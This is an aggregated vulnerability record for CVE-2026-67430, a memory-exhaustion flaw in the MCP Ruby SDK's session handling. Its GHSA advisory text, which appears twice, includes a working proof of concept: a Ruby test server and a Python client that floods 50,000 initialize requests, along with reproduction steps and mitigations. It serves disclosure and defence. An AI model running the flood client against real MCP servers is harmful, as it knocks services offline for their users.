{"id":"CVE-2026-67430","aliases":["EUVD-2026-50498","GHSA-52jp-gj8w-j6xh"],"status":"published","title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00367,"percentile":0.30805,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-401","CWE-770"],"published":"2026-07-29T19:10:39Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"RubyGems","package":"mcp","fixed_in":["0.23.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.22.0"},{"fixed":"0.23.0"}]}]},{"source":"osv","ecosystem":"RubyGems","package":"mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.0"}]}],"versions":["0.1.0","0.10.0","0.11.0","0.12.0","0.13.0","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.20.0","0.21.0","0.22.0","0.3.0","0.4.0","0.5.0","0.6.0","0.7.0","0.7.1","0.8.0","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"modelcontextprotocol","product":"ruby-sdk"}],"references":[{"url":"https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67430","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-52jp-gj8w-j6xh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67430.json","tags":["advisory"]},{"url":"https://github.com/modelcontextprotocol/ruby-sdk","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-67430","title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:10:39.552Z","modified":"2026-07-30T15:19:09.224Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-401","CWE-770"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-50498","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:10:39Z","modified":"2026-07-30T15:19:09Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T18:02:28.463488Z"}],"ghsa":[{"id":"GHSA-52jp-gj8w-j6xh","title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","description":"## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` — the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` — when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604–643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n  loop do\n    sessions = transport.instance_variable_get(:@sessions)\n    count = sessions ? sessions.size : 0\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] sessions=#{count}  RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9295,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n    \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n    \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n               \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n    try:\n        s = socket.create_connection((HOST, PORT), timeout=5)\n        s.sendall(REQ)\n        data = b\"\"\n        while True:\n            c = s.recv(8192)\n            if not c: break\n            data += c\n        s.close()\n        return b\"mcp-session-id\" in data.lower()\n    except OSError:\n        return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n    futs = [ex.submit(one) for _ in range(TOTAL)]\n    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n        if f.result():\n            created += 1\n        if i % 1000 == 0:\n            print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n                  f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n      f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb          # terminal A\npython3 session_poc_client.py       # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK's `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0      RSS=45  MB\n[mem] sessions=2605   RSS=56  MB\n[mem] sessions=11587  RSS=72  MB\n[mem] sessions=23119  RSS=85  MB\n[mem] sessions=34391  RSS=119 MB\n[mem] sessions=45325  RSS=128 MB\n[mem] sessions=50000  RSS=154 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.","status":"published","published":"2026-07-30T14:43:29Z","modified":"2026-07-30T14:43:29Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-401","CWE-770"],"updated_at":"2026-11-02T14:40:54.767849Z"}],"nvd":[{"id":"CVE-2026-67430","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T20:17:11.96Z","modified":"2026-10-24T13:10:00.147Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-401","CWE-770"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-67430","title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","description":"MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.","status":"published","published":"2026-07-29T19:10:39.552Z","modified":"2026-10-28T02:31:10.553698092Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-401","CWE-770"],"updated_at":"2026-11-02T15:45:14.46177Z"},{"id":"GHSA-52jp-gj8w-j6xh","title":"MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood","description":"## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` — the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` — when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604–643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n  loop do\n    sessions = transport.instance_variable_get(:@sessions)\n    count = sessions ? sessions.size : 0\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] sessions=#{count}  RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9295,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n    \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n    \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n               \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n    try:\n        s = socket.create_connection((HOST, PORT), timeout=5)\n        s.sendall(REQ)\n        data = b\"\"\n        while True:\n            c = s.recv(8192)\n            if not c: break\n            data += c\n        s.close()\n        return b\"mcp-session-id\" in data.lower()\n    except OSError:\n        return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n    futs = [ex.submit(one) for _ in range(TOTAL)]\n    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n        if f.result():\n            created += 1\n        if i % 1000 == 0:\n            print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n                  f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n      f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb          # terminal A\npython3 session_poc_client.py       # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK's `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0      RSS=45  MB\n[mem] sessions=2605   RSS=56  MB\n[mem] sessions=11587  RSS=72  MB\n[mem] sessions=23119  RSS=85  MB\n[mem] sessions=34391  RSS=119 MB\n[mem] sessions=45325  RSS=128 MB\n[mem] sessions=50000  RSS=154 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.","status":"published","published":"2026-07-30T14:43:29Z","modified":"2026-07-30T15:00:31.152089988Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-401","CWE-770"],"updated_at":"2026-11-02T15:46:37.864461Z"}]}}